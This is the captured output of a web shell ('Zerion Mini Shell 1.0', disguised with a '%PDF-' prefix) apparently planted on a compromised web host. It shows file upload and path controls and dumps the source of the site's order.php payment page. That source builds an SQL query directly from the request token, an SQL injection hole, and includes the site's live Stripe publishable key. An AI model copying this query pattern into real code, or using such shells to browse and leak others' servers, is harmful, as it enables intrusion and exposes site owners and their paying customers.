%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/www/testbeta/
Upload File :
Create Path :
Current File : /home/eirtvhdf/www/testbeta/order.php

<?php  include("header.php");

 if(isset($_REQUEST['token'])){

     $token = $_REQUEST['token'];

 $query = "select * from ms_custom_link WHERE token='$token'";
     $sql = mysqli_query($con,$query);
     if(mysqli_num_rows($sql) === 1){

       $row = mysqli_fetch_assoc($sql);
      $rate = $row['amount'];
     $_SESSION['SEmail'] = $row['email'];
     $_SESSION['last_id'] = $row['plan_id'];
    $_SESSION['Rate']= $rate;
        

     }else{
         echo "<script>window.location='404.php'</script>";
     }

 }else{
     echo "<script>window.location='404.php'</script>";
 }
?>



    <!--about content-->
    <div class="wrapper">
        <div class="row ">

            <div class="col-md-12 col-sm-12 col-xs-12 page">
                <div style="padding: 30px;">

                    <br><br><br><br><br><br><br>

                    <h4>Pay Amount <br></h4>
                    <p>You are at final step of processing your order, click on pay with card button down below to proceed, once the order gets processed an electronic receipt will be sent to your registered email</p>  
                     <form action="stripe.php" method="post" enctype="multipart/form-data">
                  <script
    defer src="https://checkout.stripe.com/checkout.js" class="stripe-button"
    data-key="pk_live_yCQ2LczqmqT89RPSKs2V79sw"
    data-amount="<?=$_SESSION['Rate']*100;?>"
    data-name="Vision Design Solution"
    data-description="Logo Design Company"
    data-image="favicon-96x96.png"
    data-locale="auto">
  </script>
  
   </form>

                    <br><br><br><br><br><br><br>

                </div>
            </div>
        </div>
    </div>
    <div class="clearfix"></div>
    <!--about content-->




<?php include("footer.php"); ?>

Zerion Mini Shell 1.0